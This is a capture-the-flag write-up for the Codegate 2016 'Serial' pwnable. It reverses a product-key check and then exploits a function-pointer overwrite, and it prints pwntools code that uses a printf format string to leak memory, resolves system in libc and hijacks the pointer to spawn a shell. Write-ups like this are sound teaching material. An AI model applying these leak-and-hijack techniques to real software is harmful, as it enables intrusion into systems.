Codegate Quals 2016 Serial
21 Mar 2016This is a write-up of the challenge Serial from the Codegate qualification round 2016.
The challenge
Serial is a 64bit x86 linux pwnable.
Reversing
When the program is run, we got prompted for a product key:
$ ./serial
input product key:
After a short look at the binary we found that the check function was at 0x400ccb
,
and that it accepts 32 bytes of input which it somehow checks.
But after a first look at how the function worked we decided that is was simple but that it would be boring to reverse, and that it would take some time to write a keygen by hand.
So we decided on using Angr, and so I wrote this script to crack it:
When we run this script it gives us the product key(after a short time):
$ python gen_serial.py
Serial is: '615066814080'
Giving this as input the program we finally get to the menu:
$ ./serial
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>
The Bug
The program starts by allocating 10 elements of size 0x20 using calloc
,
which we can then manipulate by the commands add, remove or dump.
The structure of these elements looks like:
struct elem {
char note[24];
void *dump_func_pointer;
};
But the add command allows us to overwrite the function pointer, and the dump command the just calls this pointer with a reference to the element as an argument.
Exploitation
Luckily we haveprintf
in the binary, so we can use the bug to call printf like
printf("We can insert a nice format string here");
Thus we are able to read and write memory as we like, for example:
from pwn import *
e = ELF("./serial")
r = process("./serial")
r.recvuntil("input product key:")
r.sendline("615066814080")
@MemLeak
def leak(addr):
r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("BB%13$sCC".ljust(24) + p64(e.plt["printf"]))
# This is placed somewhere on the stack.
r.sendline("3AAAAAAA"+p64(addr))
# remember to remove the element, we only have 10.
r.sendline("2\n0")
r.recvuntil("BB")
data = r.recvuntil("CC")[:-2] + "\x00"
r.recvuntil("choice >> ")
return data
# Magic from pwntools, which does pointer chasing and hashtable
# lookups to find stuff in memory. You should check it out.
d = DynELF(leak, elf = e)
system = d.lookup("system", "libc.so")
print "This is the address of 'system' in libc.so:", hex(system)
And it works:
$ python doit_serial.py
[*] '/home/user/serial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack Canary: Canary found
NX: NX enabled
PIE: No PIE
[+] Starting program './serial': Done
[+] Loading from '/home/user/serial': 0x7f739e8e61a8
[+] Resolving 'system' in 'libc.so': 0x7f739e8e61a8
This is the address of 'system' in libc.so: 0x7f739e35a490
And now we simply need to use system
as our dumper function and call it the right way:
r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("sh;".ljust(24) + p64(system))
r.sendline("3")
# lol, have a shell
r.clean()
r.interactive()